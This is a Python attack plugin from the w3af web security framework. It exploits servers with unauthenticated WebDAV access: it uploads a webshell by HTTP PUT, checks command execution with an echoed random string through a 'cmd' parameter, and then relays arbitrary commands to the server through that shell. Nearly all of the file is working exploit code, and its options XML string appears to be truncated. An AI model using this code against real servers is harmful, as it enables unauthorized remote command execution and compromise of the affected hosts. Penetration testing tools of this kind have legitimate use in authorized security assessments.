''' davShell.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import * import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb import core.data.kb.vuln as vuln import core.data.parsers.urlParser as urlParser from core.controllers.w3afException import w3afException from plugins.attack.shells.getShell import getShell import os import os.path import urllib class davShell(baseAttackPlugin): ''' This plugin exploits apps that have unauthenticated dav access. @author: Andres Riancho ( andres.riancho@gmail.com ) ''' def __init__(self): baseAttackPlugin.__init__(self) self._shell = None # User configured variables self._url = '' def fastExploit( self ): ''' Exploits a web app with unauthenticated dav access. ''' if self._url == '': om.out.error('You have to configure the "url" parameter.') else: v = vuln.vuln() v.setURL( self._url ) kb.kb.append( 'dav', 'dav', v ) def getType(self): return 'shell' def canExploit(self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' davVulns = kb.kb.getData( 'dav', 'dav' ) if len( davVulns ) == 0: return False else: return True def exploit(self ): ''' Exploits a dav vuln that was found and stored in the kb. @return: True if the shell is working and the user can start calling rexec ''' om.out.information( 'davShell exploit plugin is starting.' ) davVulns = kb.kb.getData( 'dav', 'dav' ) if len( davVulns ) == 0: raise w3afException('No dav vulnerabilities have been found.') for vuln in davVulns: # Try to get a shell using all vuln if self._generateShell(vuln): # A shell was generated, I only need one point of exec. return True return False def _generateShell( self, vuln ): ''' @parameter vuln: The vuln to exploit. @return: True is a shell object based on the param vuln was created ok. ''' # Check if we really can execute commands on the remote server if self._verifyVuln( vuln ): # Set shell parameters self._vuln = vuln return True else: return False def _verifyVuln( self, vuln ): ''' This command verifies a vuln. This is really hard work! :P @return : True if vuln can be exploited. ''' # Create the shell filename = createRandAlpha( 7 ) extension = urlParser.getExtension( vuln.getURL() ) fileContent, realExtension = getShell( extension ) if extension == '': extension = realExtension # Upload the shell urlToUpload = urlParser.urlJoin( vuln.getURL() , filename + '.' + extension ) om.out.debug('Uploading file: ' + urlToUpload ) self._urlOpener.PUT( urlToUpload, data=fileContent ) # Verify if I can execute commands rnd = createRandAlNum(6) cmd = 'echo+%22' + rnd + '%22' self._exploit = urlParser.getDomainPath( vuln.getURL() ) + filename + '.' + extension + '?cmd=' toSend = self._exploit + cmd response = self._urlOpener.GET( toSend ) if response.getBody().count( rnd ): om.out.debug('The uploaded shell returned what we expected: ' + rnd ) return True else: om.out.debug('The uploaded shell DIDN\'T returned what we expected, it returned : ' + response.getBody() ) return False def rexec( self, command ): ''' This method is called when a command is being sent to the remote server. This is a NON-interactive shell. @parameter command: The command to send ( ie. "ls", "whoami", etc ). @return: The result of the command. ''' toSend = self._exploit + urllib.quote_plus( command ) response = self._urlOpener.GET( toSend ) return response.getBody() def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ ' def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter optionsMap: A dictionary with the options for the plugin. @return: No value is returned. ''' self._url = optionsMap['url'] def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return ['discovery.serverHeader'] def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.8 def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin exploits webDAV misconfigurations and returns a shell. It's rather simple, using the dav method "PUT" the plugin uploads the corresponding webshell ( php, asp, etc. ) verifies that the shell is working, and if everything is working as expected the user can start typing commands. No configurable parameters exist. '''